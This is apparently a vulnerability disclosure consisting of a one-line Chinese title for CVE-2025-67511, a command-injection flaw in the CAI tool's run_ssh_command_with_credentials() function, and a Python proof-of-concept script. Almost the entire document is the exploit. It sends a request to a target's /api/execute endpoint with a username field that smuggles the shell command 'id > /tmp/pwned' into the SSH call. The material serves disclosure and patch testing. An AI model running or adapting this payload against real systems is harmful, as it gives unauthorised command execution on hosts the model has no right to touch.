CVE-2025-67511: Cybersecurity AI run_ssh_command_with_credentials()命令注入漏洞

# CVE-2025-67511 PoC - Command Injection in CAI run_ssh_command_with_credentials() # The username, host, and port parameters are not escaped import requests import json # Target CAI instance target_url = "http://target:8000/api/execute" # Malicious payload - inject command via username parameter # This will execute 'id > /tmp/pwned' on the target system malicious_username = "test;id > /tmp/pwned;#" malicious_host = "127.0.0.1" payload = { "function": "run_ssh_command_with_credentials", "args": { "username": malicious_username, "password": "dummy_password", "host": malicious_host, "port": 22, "command": "echo test" } } response = requests.post(target_url, json=payload) print(f"Status: {response.status_code}") print(f"Response: {response.text}")